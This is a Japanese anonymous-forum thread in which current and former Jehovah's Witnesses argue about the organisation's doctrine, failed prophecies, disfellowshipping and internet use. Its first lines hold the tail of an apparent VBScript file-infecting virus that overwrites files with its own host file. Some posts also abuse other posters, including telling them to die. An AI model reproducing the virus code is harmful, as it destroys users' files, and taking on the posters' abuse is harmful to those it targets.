fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>

＞　復活したイエスもまた人の性を持っている(トマスが釘の跡に手を差し入れるという
＞　話はそのことを証すると解釈される）。

鍵のかかった部屋の中にひょっこり現れたりするのが　人の性　とは思えないので>>592
の説はボツとします。

はあ、所詮、便所の落書きじゃあ、まともな答えはないか・・・
神は救ってくれない、これが真理か。

>>598
490っておまえも便所の落書きやってたやつだろ？
文句は言えない

あげ

エホバの証人がカトリックだと思っている創価学会員がいるんですが
どう反論したらいいんでしょうか？
エホバ≠カトリックを一目瞭然で分からせるＨＰがあったら、
教えてください。できればエホバ側のヤツがいいです。

相手が創価学会なので動機を疑ってかかる必要があります。
この人はあなたから「エホバの証人は〜〜〜という悪い事をやっているが
カトリックはそうではない、潔白だ」というような発言を引き出したいだ
けなのです。そしてあなたの発言を他所で引用しながら「キリスト教徒は
互いに憎しみあっている」と彼自身の持論を主張したいだけなのです。
注意してください。

インターネットを初めてまだ日が浅い現役です。
正直驚きました。
現役さんがこんなにも組織に不満を抱いていたのか！と。。
2chに限らず、現役と思われるかたのHPとか日記も拝見しましたが、
胸が悪く思いです。影ではこんなことを思いながら集会や奉仕に
行ってるんですね。なんだか周りのJWの方々も信じられなくなった。
そんなに嫌ならJW辞めればいいのに。軽薄な兄弟なんて大嫌い。

エホバの証人であったとしても不完全であり間違いを犯す事を認めなければなりません。そうした人々で構成される組織も完全なわけではありません。
ゆえに、様々な出来事を通して、批判的な見方を持つ人の気持ちは理解できます。しかし、この不完全な人々によって成し遂げられている良い面にも目を向けるべきです。そしてまず、神との関係を強めなければなりません。

>>603 同じ信仰の仲間の中には様々な問題を抱え、ときには組織の中でつまずく人もいます。そうした仲間の葛藤をできるだけ理解する努力を払ってほしいと思います。
そうした難しい状況を忍耐して組織と交わる努力はすばらしいと思うからです。

会衆内で（特に長老に対して）何でも話せる雰囲気があるなら不満が外部に出ることは少なくなると思います
築き上げる話しをするようにとのスローガンを掲げ、いやな事は押し込める体質が不満を生じさせる一因となっているのでは
一人一人の話を聞く時間がないのならせめて王国会館に”目安箱”なるものを設置してみるのはどうだろう
地域大会ではアンケートが採られていますがそれを会衆でも取り入れたらどうでしょう

みちのりさん、ありがとうございます。
誰もが間違いを犯すゆえ、人につまずいてはいけない、
問題は神との個人的な関係だということはよく分かります。
私が失望したのは、そういった人間的な弱さゆえの言動では
なく、もはや確信犯的というか悪ふざけというか、まさに裏表のある証人
がこれほど多い事に衝撃を受けたのです。これだったら、真面目に生きて
いる世の人のほうがよっぽど偉いし魅力的です。もちろん大多数の証人
は立派なんですけどね。

なんかさんへ
エホバの証人は今や数百万人います。その中にわずかながら、ふさわしくない方がいるとしても仕方のない事です。いずれにせよ、その人の行いは神の前には明らかなわけですから、まいたものを刈り取る時がかならず来るでしょう。
わたしたちは、組織の中でも一般の方の中でも、真実を語り愛を表していきましょうね。

内部の人間が、内部の調査をしても無意味。

清い組織なんて嘘っぱち。

age
age

http://js-web.cside.com/

（ネタでなければ）「なんか」さんはＪＷとして日が浅いということだから
ＪＷ問題の根の深さや深刻性をまだ理解していないのではないでしょうか。

Ｂｏｙ’ｓ氏の意見求む

ageの方向で。
いいかな？

！神の前には明らかなわけですから！
おめでたい奴だ

　 　 ／) 　／)
　　/ 　⌒　 ヽ　　 ／￣￣￣￣￣￣￣￣￣
　 | ●_　●　 |　＜ 証人辞めた人ウザイんじゃボケ！　
　(〇 〜　 〇 |　　＼＿＿＿＿＿＿＿＿＿　
　/　　　　　　 |　　　
　|　　　　 |_/　|　

　　　　　　　　　　　　 (禁転載）

　 　 ／) 　／)
　　/ 　⌒　 ヽ　　 ／￣￣￣￣￣￣￣￣￣
　 | ●_　●　 |　＜ 証人辞めたなら関わるなボケ！　
　(〇 〜　 〇 |　　＼＿＿＿＿＿＿＿＿＿　
　/　　　　　　 |　　　
　|　　　　 |_/　|　

　　　　　　　　　　　　 (禁転載）

　 　 ／) 　／)
　　/ 　⌒　 ヽ　　 ／￣￣￣￣￣￣￣￣￣
　 | ●_　●　 |　＜ ねちねちすなボケ！　
　(〇 〜　 〇 |　　＼＿＿＿＿＿＿＿＿＿　
　/　　　　　　 |　　　
　|　　　　 |_/　|　

　　　　　　　　　　　　 (禁転載）

　 　 ／) 　／)
　　/ 　⌒　 ヽ　　 ／￣￣￣￣￣￣￣￣￣
　 | ●_　●　 |　＜ 背教者ウザイんじゃボケ！　
　(〇 〜　 〇 |　　＼＿＿＿＿＿＿＿＿＿　
　/　　　　　　 |　　　
　|　　　　 |_/　|　

　　　　　　　　　　　　 (禁転載）

＞みちのりさん
いい面もあるかもしれないが、完全ではなく間違いを犯す組織（これはすべての人の集まりにいえることだが）
と認める理解力があるなら、
それが神との唯一の経路であるとうたうことの危うさも理解してほしいと思います。
神は完璧、全知全能でその教えには誤りなどあるはずもありませんが、
仲介となるものが人間の組織である以上は間違いを犯すこともあるでしょう。
ならば批判すべき点は批判すべきですし、指導的立場の者たちはその批判を
聞く耳を持たなければなりません。
しかし残念ながら組織批判＝排斥というのが事実です。
これも反対者が憤りをおぼえることの一つです。

＞619
不完全ながらも完全さを目指す組織の態度、及び証人個人個人
の誠実な態度は誉れに値しませんか？
そしてそこまで徹底している宗教組織が他にありますか？

>620
完全さを目指すって何ですか？
ヘンテコな聖書解釈を押しつけて従わせようとしたり、
良心をごまかして、組織に従おうとすることですか？

みちのりさん。
あなたは一方的なものの見方しか出来ていません。
あなたは昨日わたしが言いたかったことを理解してくれて、組織の改革にも力を尽くすと言っておられました。しかし、いまのあなたは一方的なものの見方で組織の擁護ばかりしているではありませんか。
そんなことでは組織の改革はできませんよ。
確かに、皆さん純粋に頑張っておられます。しかし、前にも言ったとおり、偽善的な人が多いのは事実です。
それは、とりもなおさず、組織が愛を定義し、勧めることによって儀礼化しているということを示しています。多角的に見て下さい。

そして、神は全てのことを知っておられます。偽善者は神には喜ばれません。イエスは、私に向かって主よ、主よと呼ぶものが天の王国に入るのではなく、ただ父の御心を行なうものだけがそこに入るのです、と言われたのではありませんか。
だのに、集会でよく聞くのですが、組織はここにとどまっていれば大丈夫だと言って、信者に安心感を与えて成長を止めてしまっているように感じます。
これでは、神はあなた方を知らないと言われるのは、必至です。
あなたが本当に信者を愛しておられるなら、この点も考えて頂きたいです。

神の組織を批判し続けて神の恵みを受けた人物　誰か居た？
聖書中に出てたら教えてください
もし居たらここで批判してる人たちはその人物に倣っているということだよね
でも、そんな人物居なかったら誰に倣って居るんだろう？　

それで、もしＪＷが神の地上の組織でないとしたらどこの宗教が本物なの？

>もしＪＷが神の地上の組織でないとしたらどこの宗教が本物なの？
本物の宗教が世の中に存在するというＪＷの論理の罠だね。
どの宗教団体も自分の宗教が一番正しいと言ってるんだから、
本物の宗教なんてどこにもないと思うよ。
あるのは自分に合う宗教だろうね。

私、１年前ぐらいに研究やめたんです。研究生のときは皆さんに
「励まされる〜」とか「こんな人ひさしぶり！」とか色々言われて、
集会とかにも「行きたい」じゃなくて「行かなきゃ」になってしまいました。
で、やめたとたん、皆しらんぷり。それじゃ、「隣人を愛しなさい」って
イエス様の言葉はどうとるの？って感じです。
で、やめてからキリスト教の人と知り合いになったんですが、
なんか違う感じがしました。
私はサタンなんかじゃないぞっ！

>>626
お疲れ様でした。
JWって「人に良く思われたいという心理」をうまく利用してる宗教だというのが
よく分かられたのではないでしょうか？
ちょっとでも集会にこなくなると、手のひらを返したような扱いですから。
16年近く行ってた私に対してでさえ、そうだったのですからねェ・・・。

>>627

２０年以上通っていた私に対してもそうでしたよ。

＞627.628
がはははっはあー
それはお前らに問題があったんじゃー。
離れるのが悪いんじゃ。
同情の余地なーーーし！！！！！！！

>629
てめーみてーな現役がいるから俺はやめたんだよーー。

やな団体でんな、はいるのや--め−−た。

久々に覗いたらスレタイと随分違うスレになってたんだな（w

>>626
元２世。今はいわゆるほんとの教会に通ってる。

「××くんとは会った？」
「おう。いちおう元気みたいだぞ。実はこのまえ一緒に教会いく約束してたけど
事情があって遅れてきたんだよ、奴。だから行く気がないわけじゃないみたいだし、
織れから無理に誘うのも違うかなーって思ってさ」
「そだねえ」

「なんか違う気がする」ってのは、ここの乗りの違いなんじゃないか？
まともな教会の人なら「結局は神さまが一番いいようにしてくださる」って
どっかで信じてるもんだと思へり。

>632
そんな軽いのりいやだなー。
信仰は趣味とか、余暇じゃないんだよ。
生活の中で第一にするべきもんなんだよ。
だから、教会はダメだって言ってんだよ。

がはははっはあー
それは組織と教義に問題があったんじゃー。
離れるのが良いんじゃ。
憐みの余地なーーーし！！！！！！！

>>624
あえて言えばイエスに倣っております。
当時、自分たちこそ正しいと権威を誇っていた
パリサイ派を批判したのがイエスです。

>>629
別にあなたに同情してもらおうなんて思うてないよ。
離れて年数が経つと逆に普通に接してくれる現役の方もいますしね。
どうして若者がこれだけ辞めていくのかなぁ？という思考をすることなんてないんでしょうね。
ま、これからJWは減る一方だからもういいか。

>>624
>それで、もしＪＷが神の地上の組織でないとしたらどこの宗教が本物なの？

宗教に本物なんて存在しませんよ。
宗教依存症ですか？あなた。

エホ証の思考停止は今に始まった事でもないし・・・・

放置の方向で。

あなたがたはイエスと逆のことをしているように見えますが・・・。
まるで、パリサイ派の人々と一緒ですね。何も神の意図を理解していないのに、自分達が神に選ばれたものだと思い込んでいる。
あなたがたのなかには確かに神によみせられたひとびとがいます。しかし、組織がそれを惑わしています。なぜなら、真理とはかけ離れたものを教えているからです。
そのようなものは石臼を首に掛けられて海に沈められるでしょう。
あなたがたの言う偽りのキリスト教世界である大いなるバビロンと同じように。
これは預言です。

>>624
>それで、もしＪＷが神の地上の組織でないとしたらどこの宗教が本物なの？

FAQは、こちらです。
http://www.jwic.com/teach_j.htm#note1

>>638
思考停止って、ある意味じゃ楽だし幸せ。
それで楽園行きというわけなんでしょうかねえ。

貴様この非常時に何を考えてるのかっ！ハルマゲドンはもうすぐだっ！
余計な事を考えるなっ！　と言われ続けて１００年以上ですね

既に、証人の脳内では楽園が脳内展開されていると思われ・・・・（藁）

>>587
復活後のイエスがもっている人の性は、パウロがいう「霊の身体」
（プネウマティコン）です。我々の肉（サルクス）、「肉の身体」
（プシュケキコン）とは違う。なのでそれは反論にはなりません。
＃霊と肉という訳はよい訳ではないが、とりあえず慣用？に従う。

エホバ信者の主催するチャットルームです。http://chat.msn.com/chatroom.msnw?rhx=2523E29886E3819FE38293E381BDE381BDE29886&rhx1=%2581%2599%2582%25BD%2582%25F1%2582%25DB%2582%25DB%2581%2599お待ちしております。

>>644　そのリンク先に　ﾜﾗﾀ

あげます

ロマ 3:4
むしろ,すべての人が偽り者であったとしても,神は真実であることが知られるように。

知られていないようで良く知られ

>>627
やめたくてやめたのではないですか?
十分知識を得た上で離れると自分で判断したのではないですか?
私達にに何を望んだのですか?
また訪問して集会に誘って欲しいのですか?
それならなぜやめたのですか?

>>650
＞やめたくてやめたのではないですか?
オレみたいな奴は神は許されないだろうと思って辞めた。＜マジな話しです。

＞十分知識を得た上で離れると自分で判断したのではないですか?
今でもあなたよりはＪＷの知識はあると思うよ。信仰心はないけどね。

＞私達にに何を望んだのですか?
そんなこと言われても・・・。オレ2世だったし（苦笑）
望むと望むまいとそこにいなきゃいけなかったのよ。そこが1世と違うところですな。

＞また訪問して集会に誘って欲しいのですか?
前にも書いたことあるけど、ＪＷの様々な問題点について有意義な話し合いになるのなら
いつでも待ってるよ。オレを納得させられる人はいまだいないけどね。

＞それならなぜやめたのですか?
「それなら」がこれまでのどこの文章にかかっているのか、分からないです。

夏休みでヒマなら、ここのＪＷ系の過去スレ全部読んで見たらあなたの疑問は解消されると思うよ。

で、ここからがマジレスね。
「人に良く思われたいと思う心理を使用している宗教だ」と私が言ったから、あなたはムッときたんですよね？
でも実際そうでしょ。1世の人だったら「研究司会者の機嫌を損ねないように」するために研究をずっと続けて
しまった。という人は多いはず。2世だともっと問題はひどくて「親が望むとおりＪＷにならなければ、親の愛情
すら感じられない（条件付愛情）と言う心理」を利用してるわけでね。

人間は図星をつかれると逆上するものです。
しかし、そういう問題点を謙虚に受け止め、これからの組織を良くしていこうとする現役の方々を私は知っています。
願わくばあなたもその一人になられますように。ｱｰﾒｿ。

ワイルドキャットの発言の端々から、傲慢さを感じますね。
それに本人が気づいてないところが痛い。

>>650
現役がネットして２ちゃんにきてんじゃねーよゴルァ！もうお前にはサタンがついてるぞ！

サタンってなんですか？
そんなものは存在しません！

>>653は昭和時代までの考え方です

>>655
な　ぜ　つ　ご　う　の　い　い　よ　う　に
考　え　方　が　こ　ろ　こ　ろ　変　わ　る　ん　で　す　か　？
エ　ホ　証　は　・　・　・

そ　れ　は　真　の　宗　教　な　ん　か　じ　ゃ　な　い　か　ら　で　す

>>656
考　え　方　が　こ　ろ　こ　ろ　変　わ　る　ん　で　す　か　？
和同開珎だって日本最古の貨幣だと最近まで言われてたけどそうじゃなかったよね
聖書の内容は貨幣一枚のルーツとは比較にならないほど複雑です。
変わって当然です。つまり未だ解明されてないことが多いということ。

>>657
俺は１９１４年に生きていた人が死ぬ前に
ハルマゲドンが来るって信じてたんだよなー
馬鹿みたいだ・・ははは　

ネット見たら
３回ぐらい予言して、外してたんだね。予言なんかしてんじゃねーよｂか

エホ証を信じてる奴がネットをするなよ！エホ証の落ちこぼれがァ！

1799年「終りの日が始まった」…神の立琴 1925年版 P268・創造 1927年版 P419
1874年「キリストが再臨した」…聖書研究 1927年版 P419
1874年「千年王国が始まった」…終了した秘義1917年 P386
1914年「キリスト教は滅びる」…聖書研究第三巻1891年 P153
1914年「異邦人による統治は終る」…聖書研究第二巻 P77
1914年「第一次世界大戦で勝利を収める国はない」The New YorkTimes1914.10.5.
1916年「今はハルマゲドンの真っ最中である」…ものみの塔 1916年9月1日号 P265
1918年「キリスト教会は滅びる」…終了した秘義P484-485
1925年「旧約聖書の聖徒たちはよみがえる」…エホバの証人の1976年の年鑑 P145
1937年「国際連盟は、ファシズムの連盟となる」…敵1937年 P292
1941年「数カ月たてばハルマゲドンに突入する」ものみの塔 1941年9月15日号P288
1941年「ナチスドイツは英国を滅ぼす」ラザフォード判事は第五縦隊をあかす P15
1941年「第二次大戦で、枢軸国も自由主義陣営も勝利を収めない」 ものみの塔 1941年12月15日号 P372
1975年「秋には神の千年王国が始まる」神の自由の子となって亨ける永遠の命P372　P372　P29
1995年「一つの世代の教理の変更」ものみの塔1995年11月１日号

やめたヒトがなぜこのスレに来ているのですか？
エホ証関連スレならば他にいくつでも乱立しているのに

エホバの証人の方というのは、「人は不完全だからねー」と言っときながら、
サタンサタンといって、信仰の薄いひとなどを避ける。
これいかに。

>>652
>ワイルドキャットの発言の端々から、傲慢さを感じますね。
> それに本人が気づいてないところが痛い。

わざとそう読めるように書いてるんだけど？
２ちゃんって「アオってナンボ」でしょ。
マジレスしつつそーゆふうに思わせるのって結構難しいんだよ、作ってるキャラだからさ。
まともな反論が出来る人はもっと賢くオレがボロを出すように書き込んでくるもんだけどね。

＞　２ちゃんって「アオってナンボ」でしょ。

>>662
いいえ、主の名を負う民の一員であれば集会でも野外宣教でも、（2chなど）その他の
活動をしているときでも、等しく主の栄光を顕わす、立派な振る舞いをしなければい
けません

>>662

つまらん人間だな。

現役さんよ、ｗｅｂに出て来ることしないで、韓国語でもならって韓国へ逝ってくれよ。
本当はその北側へ行ってほしいが、彼らを改宗させてきてくれ。世界中みんな感謝するぞ、ま、ど〜せそこまで信仰ないんだろ！

666 get !!

あれ、こっちで盛り上がっていたのか。
スレが多くて気がつかないんだよね。

えーと、
>>657
>変わって当然です。つまり未だ解明されてないことが多いということ。

んじゃあ、「1914年を見た世代が生きている内にハルマゲドンが来る。」
という教義がなくなったんだけど、どの様に解明されたのですか。

いつもツッコミをいれてスマないと思うけど、
いいかげんな事を言われてもなあ。。。

>>677
＞いつもツッコミをいれてスマないと思うけど、
＞いいかげんな事を言われてもなあ。。。

いいってことよ、なに言ったってキミにかかれば「いいかげんな」で切り捨てられて
しまうものな、擁護意見は。

ﾓﾙﾓﾝ教よりましじゃ、ﾓﾙﾓﾝ教では初期の教義の書かれた古い書物が公的図書館にあると、かってに押しかけて廃棄してしまうそうだ。

>>668
エホバの証人さんが教義を説明できないから、
こちらは「いいかげんな」と判断するんじゃないの。
説明がまず無いものなあ。
あっても、二、三回のやり取りで、そちらが行き詰まりますしね。
他人に説明も出来ずに、それでよく伝道できると関心しますね。

ロマ 3:4
むしろ,すべての人が偽り者であったとしても,神は真実であることが知られるように。

結局神しか真実な方はいないのかもしれない。
誰も信じるな！どんなものも信じるな！神だけを信じなさい！って言ってるよ。

＞672
同意

>>668さん
ああ、そうだ忘れていました。
>>667に書きときました1914年の説明を宜しくね。
なんで解釈が変わったのか非常に興味がありますから。
解明された所の説明も宜しくお願いします。
説明できずに「変わりました。」では、
やはり、「エホバの証人の教義はいいかげんだ。」と考えてしますけど。

あれや、煽りの文章になってしまったかな。（ちょい反省。

>>674
全然分かってないですね。
ここはね、霊波の不満や愚痴を言う為のスレなんですよ。
そんなことも分からないのですか。
だから、訳の分からないトンチンカンなことを平気で言えるのですね。
自分で自分が嫌になりませんか。生きていて恥ずかしくないですか。

>>675
>だから、訳の分からないトンチンカンなことを平気で言えるのですね。

おお、久し振りに煽られましたね。。。
私の発言のどの部分がトンチンカンですか。
古銭をたとえ話に持ち出して、教義変更をしてもおかしくない、
というのは、まともな発言ですか。

>自分で自分が嫌になりませんか。生きていて恥ずかしくないですか。

これなんか、私を不愉快にする為だけの文章ですね。
せっかくですから、お答えします。嫌でも恥ずかしくもありません。

今回も説明できずに逃げますか。。。
しかし、エホバの証人さん、平日にも集まって勉強会をしていますが
なにを勉強しているのでしょうか。

しかし、>>675は、いかにも厨房発言をしていますね。
もうちょっと、ましな事を書いたらいかがですか。

コピペにマジレス。ボーイズさん。

＞しかし、エホバの証人さん、平日にも集まって勉強会をしていますが
＞なにを勉強しているのでしょうか。

クリスチャンを論破するための勉強会です。

天にいらっしゃいますお父様エホバはこのスレを良くは思ってはいません。
組織の事を少しでも疑うあなたたちに、エホバはショックを受けられています。
ここにいる現役証人の方たちは、今すぐパソコンを壊すべきでしょう！

組織は疑惑の総合出版社。

>680
つまらん
ばーか。
＞662
君はホントに悲しい人間だね

明日から、馬鹿共の集まる大会が始まるな･･･鬱だ。
某・アリーナの大会費用は３０００万円前後だ（リハーサルの日も入れて）。

ぎょうさん金持ってまんなぁ〜エホバの商人は。

おまえらの学歴が俺以下だから

ここにいるということだけは分かった。

めでたしめでたし。

>>683　幼稚園卒業できましたか？

>>684今日暇だったので本屋で立ち読みしてたのですが
なんと俺の出た大学が潰れそうな大学候補に入っているじゃないですか
２浪の挙句３ヶ月泣きながら勉強してやっと入ったのに
しかもFランクだとばかり思ってて２chでも「Fランク出は辛いよなぁ」
とか書き込みしてたりしたのに。
実はGランクでした逝ってきます。

>>682　某アリーナスタジアム料金は
リハで1日　　　　　　　￥4355000
本開催で平日1日　　￥8710000
　　　　土日は１日　　￥9581000×2日
＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
合計　　　　　　　　　　￥32227000

たしかに３０００万越えますね。
ただし90日前までに申しこむと30％OFFになるみたいなので
2255万＋電気代ということになりますか。

仮にそうだとしても3000万円を出席者3万人で割れば、一人あたりたったの1000円。
寄付はそれ以上集まるので、こういう大きな所を借りるのは造作ないことです。
つーかこのほうが儲かるもんな・・・・。

>>669

いや、このほうがはっきりしてていいと思われ。

ああ、大会の話ですか。

大会に限らないないのですが、ＪＷさんは日曜の集会や平日の勉強会を
楽しいと感じて参加しているのですかね。
「きまりだから」とか「やくわり」だとか感じて行くなら、
行く必要がないんじゃないかなあ。

大雑把に信者さんを分けると
「行くことが楽しい。」と「かったるいけど、とりあえず。」に分けられそうでが、
最近は「かったるいけど、とりあえず。」が増えてきた気がしますけどね。

強力な信仰心を持った一部の人に引きづられて、やっている気がしますね。
私が言うのも変ですが、最近のＪＷさん弛んでいる気がしますよ。

伝道などは、10年位前と変わっていますね。最近は、「聖書を伝道する。」というより
「奉仕時間を報告するために、伝道する。」に変わってきたんじゃないかなぁ。

まあ、これは私の主観ですけどね。

最近は伝道で聖書を用いるように勧められています。

>>686
入場無料のイベントですと、さらに２０％オフになります。
それと、機材搬入などの日数をいれますと、プラス１日あると思われます。

>>689
そうなんだ、ふ〜ん。
まあ、それは良いことですね。

それはそうと、伝道して新しく会員になる人が、いま実際にいるのですか。
２世以外で新しくなる人がいるのでしょうか。
全然いないって事は無いと思いますが、メチャメクャ少なく有りませんか。

こうゆうのは、地域性もあると思うのですが、私の近所は脱力ムードが漂っているみたいですよ。
「伝道を頑張っている。」って言うなら、それで良いんだけど、結果が出て無い気がしますね。

＞結果が出て無い気がしますね。
結果ですか？　信者を増やすことが重要なのではなく音信に人がどう応じるのかが大切なんです。
音信に背を向けること、これも一つの結果と言えるでしょう。

これまでの書きこみはすべてエホバの証人以外と思われ
それとも「ネットに関わる事をやめるように」との団体からの指令を犯してまで、２ＣＨにきているとか？

>>693
omaeigai

>>693　現役ですか？

>>692
>信者を増やすことが重要なのではなく音信に人がどう応じるのかが大切なんです。

それって、ふつう自己満足って言うけどね。

まあ良いや。
信者を増やすのは二の次で、音信を伝わるのは目的では無いのですか。
音信が広まる、広まわないは、重要では無いって事ですか。

>>693
ここ見てる現役なんてそのうちやめるような連中ばっかりだろ。
伝導も週に１時間、形だけやってるような連中ばっかりだろ。
こっそりエロサイト覗くようなカスばっかりだろ。
エホバの証人の書き込みではあるし、そうでないとも言える。

>>696
お前バカなんだねｗ

>>696
国語能力が激しク低そうですね。が学校ではさぞかしいじめられていることでしょう。
同情はいたしません。

＞音信が広まる、広まわないは、重要では無いって事ですか。

ヴァカ？　音信がすべての人に広まってこそ、その人がどう応じるかが判るのではありませんか？

>>699
もうちょい、ましな事を書けば。
悪いけど無視させてもらいます。

しかし、エホバの証人がインターネット禁止とか書いている人がいるけど、
エホバの証人公式HPをなんて説明するんですかね。
公式HPはよくて、個人の使用は禁止ですかね。
ダブルスタンダードとか思わないのかなあ。（謎だ。

>>699
は、ただの揚げ足取りの狂信者と思われ。

インターネット禁止なんぞ、一言もいわれてないぞ。

提案＝実質的には「命令」に極めて近い指示

>>703　＝　思考停止　＝　ＤＱＮ

インターネットは禁止されていません。
先日、地域監督の訪問がありましたが、兄弟は
『インターネットをしてると楽しいので時間を忘れてしまうから、
注意が必要だ』
と集会で述べていました。
提案されているのは、これまで私たちが理解していたとおり、
単に注意しろということです。

>>703
提案を命令と感じることはあるでしょう
特にえこひいきをしている監督がいるなら提案を受け入れない人は注解もあまり当たらないからね
監督に気に入られようと思うなら提案は命令に感じてしまうでしょう

>>705
>先日、地域監督の訪問がありましたが、兄弟は
>『インターネットをしてると楽しいので時間を忘れてしまうから、
>注意が必要だ』
>と集会で述べていました。

その監督にとっての、インターネットの楽しみって何なのだろうか？
やはり、エロサイトの巡回かな？（w

「エホバの証人情報センター」更新
http://www.jwic.com/home_j.htm

「ものみの塔協会は児童性的虐待者問題を
内部告発したエホバの証人たちを次々に排斥する」

「カナダの16歳少女輸血拒否裁判のその後」

「本間年雄氏の排斥について」

「読者の広場 」

エホバの矛盾点をいくつか言います
神は、なぜ完璧なはずなのにイエスを作り
使徒（精霊達）を作る必要があったのか神一人ですべてをこなせたはず
イエスにこの世界を作る時に手伝ってもらったが
手伝ってもらわないとできなかったのか？
神は七日目に地球この世界をつくるのを終えて休まれた
と書いてあるが、神ともあろう者が７日もかかり
しかも、休む必要があったのか
そして、自分が作った使徒の中からサタンという名の悪魔ができる事を
予測できなかったのか？
そのサタンによって人間が不完全になり、今のような世界になることも
予測できなかったのか？
もし予測できなかったとすれば神（エホバ）は絶対的な存在ではなく
完璧でもない
もし予測できできていたのなら、エホバこそ真の悪魔である
そして、なぜ完璧な神は人間やイエスそして使徒たちを作ったのか？
寂しかったのであろうか？だとすれば神は人間と同様孤独という
弱点を持ち完璧ではない
そして、最初の人間アダムとを作ったそして動物を作り
エバ（人間の女）を作ったと聖書に書いてあるが
恐竜はどこへ行ったのか？
そして恐竜というほとんど絶滅するものを作る必要があったのか？
それもまた疑問です

>>709
マルチうざいって、質問自体も大したことないし。
てか最初のなんて意味不明だし。

>>707はエロガッパ

>688さん

それなりに、当たってる気がします

ただ、集会に行くことで元気付けられたり認識を新たにされたり、理解が進んだりしますよね、
また、あの頑張ってるなとか、
ＪＷといえど普段は未信者のご家族や、職場の同僚や級友、伝道での消極的な反応により
霊的に（一般的に言うと精神的に）疲れを感じさせる面があるから集会に行くのは賢明な事、

車のワックスも、一回塗っただけでは耐候性は落ちていくもの、私たちの信仰も
定期的な塗りなおしと日々の手入れ（個人研究や祈り）によって良い状態に維持するのは大切と言えますね。

>>712さんへ
集会に行くことで仲間に会えて元気づけられたり
お互いに励まし合いながら、精神的に落ち込んだ部分を回復したり、
こうゆう部分はあると思いますよ。
＞認識を新たにされたり、理解が進んだりしますよね、
こうゆうのもあると思いますよ。

でもさ、励まし合わなければ、やっていられないのも変な気がしますね。
エホバの証人さんの苦労っておかしい気がしますよ。

会員になった方が、それ以前より苦労をしているものなあ。

マタイ11：28
すべて、疲れた人、重荷を負っている人は、
わたしのところに来なさい。
わたしがあなたがたを休ませてあげます。

>713さん

>でもさ、励まし合わなければ、やっていられないのも変な気がしますね。
>エホバの証人さんの苦労っておかしい気がしますよ。

688であなたがおっしゃってる方の場合に、「それなりに当たっている気がします」と申したので
みんながそうであると言う意味ではないんですね。
でも、エホバの証人にとって集会は三度三度の食事に値します。
実際に週に三回集まりありますがそこで食べる、、いわば取り入れるのは、神の言葉についての知識です。
集会にはそのような意味もあるのです。

それに、どんな組織も会合は必ずあるでしょう？
私たちが兄弟姉妹と互いを呼び合っているのをあなたはご存知かもしれませんが
兄弟の絆は会社の同僚の絆よりも本来強いものですよね

>会員になった方が、それ以前より苦労をしているものなあ。

どんな面の苦労の事を述べておられるのかはわかりませんが、、、自分なりに答えてみますね。

その反面、それに勝るものを得ているのです。
また苦労とは、全部が全部悪いものでもないですよね。人によって苦労を苦労と思わないという事がありますね。

例として、いうと、、、少ないかもしれませんが、家庭を大事にしたいと思った人がいるとしましょう。
彼は家族との時間をもっと持ちたいと思い、バリバリしていた残業を減らし
収入も少なくして経済的にはきつくなるかもしれません
でも、以前よりも家族の絆や夫婦間の絆を強くする事が出来た場合
その家族にとっての苦労は損とはならないでしょう

一般向けに言うなれば価値観や信念による、と言うわけで見解の相違かもしれません。

私もエホバの証人さんと長いこと関わっていましたから
食事や残業のたとえ話など全体に言われている事は分かりますよ。
ここには直接的な表現で書いてありませんが、
エホバの証人さんは、まじめで、努力して、一生懸命に聖書を学んでいる、
というのも、ある程度は認めますよ。

しかし、聖書を学んで結果として生まれてきた物は全然ないですね。
理想を高く上げたり、建前を言ってみても、現実との差が大きいと思いますね。

たとえば、ここの>>708にリンクしてある「エホバの証人情報センター」を読んでも、
ものみの塔組織の姿勢を正そうと内部告発をした人が排斥になっていますよね。

この事件は細かい事まで分かりませんが、それにしても
聖書を読んでいる人たちが作りあげた団体が、おこなう行為だとは思えませんね。

これとは別に、排斥制度にも疑問を感じますね。
建前では、排斥になっても反省すれば復帰できるそうですが、
実際に排斥された人が、どれだけ復帰しているか疑問がありますね。

ルカ5:31〜
そこで、イエスは答えて言われた。
「医者を必要とするのは丈夫な者でなく、病人です。
私は正しい人を招くためでなく、罪人を招いて、
悔い改めさせるために来たのです。

>715さん

そうでしたか、どのような経緯を持たれたかのかは存じ上げませんが。
アブラハムリンカーンは「聖書は神が人間に賜った最大の宝物」
「それがなければ我々は正邪を識別し得なかったであろうといいました。」
これは、彼がその価値を高く評価したことを意味しています。

私も同感です。私は元々非クリスチャンとして育てられてきましたが
今でも、あの時聖書に、またエホバの証人に逢って良かったと心から思っています。

理想を高いと感じるのは、現在の私たち生活している時代がテモテ第二3：1-5節のような時代だから
ではないでしょうか。
わたしは、聖書が差し伸べる将来についての希望が根拠のあるものだということを何年かにわたる
聖書の研究と考察から確信しているものです。

ただ、組織に関するあなたの疑問に関しては、あなたと同じく私も当事者ではないですし
ああだこうだと無責任な事を言う立場ものではありませんのでなんとも答えようがありません。ごめんなさい。


>これとは別に、排斥制度にも疑問を感じますね。
>建前では、排斥になっても反省すれば復帰できるそうですが、
>実際に排斥された人が、どれだけ復帰しているか疑問がありますね。

もし仮にそうだとして、神の目をごまかせると思いますか？

エホバ神はあなた達がネットをすることを望んではおられません
普通の信者が背教者と議論をすることは、はっきりと禁止されています

ネットの危険性は目ざめよで何回も特集を組まれています
しかし、ここにいるエホバの証人達は、都合のいい解釈ばかりしています
ほんとに、エホバの証人の恥です。他の信者の迷惑になります！

ネットをしたら必ず悪い影響が出ます
猥褻な画像も必ず見ています
そういう画像を見ないようにエホバに祈るぐらいなら、
はじめからネットしてんじゃねーよ！お前らはエホバの証人のクズだ！
楽園にいけるなんて考えてんじゃねーよ！ぼけ！エホバはお前らの事を軽蔑してんだよ！！
死ねよ！死ね！

しかも何だ？このスレタイは？

エホバの組織を疑うつもりなのか？
こんなスレにいる腐れ現役が偉そうにエホバの教えを語ってんじゃねーよ
死んどけ！マジで！

>>717
私とＪＷさんが話しをしても問題ないです。

>>716
>もし仮にそうだとして、神の目をごまかせると思いますか？

私が思うに排斥された時にする反省は、
神に対しての反省であって、ものみの塔に対してでは無いですよね。
反省が出来たか、出来ないかを、ものみの塔が判断出来ないと思いますけど。
ものみの塔が「まだ反省が足りない。」って判断して
復帰を拒否すれば、ものみの塔の権威は、神より上って事になりそうですけどね。

>>719
同感。

そうか、ものみの塔の権威は神より上なのか。
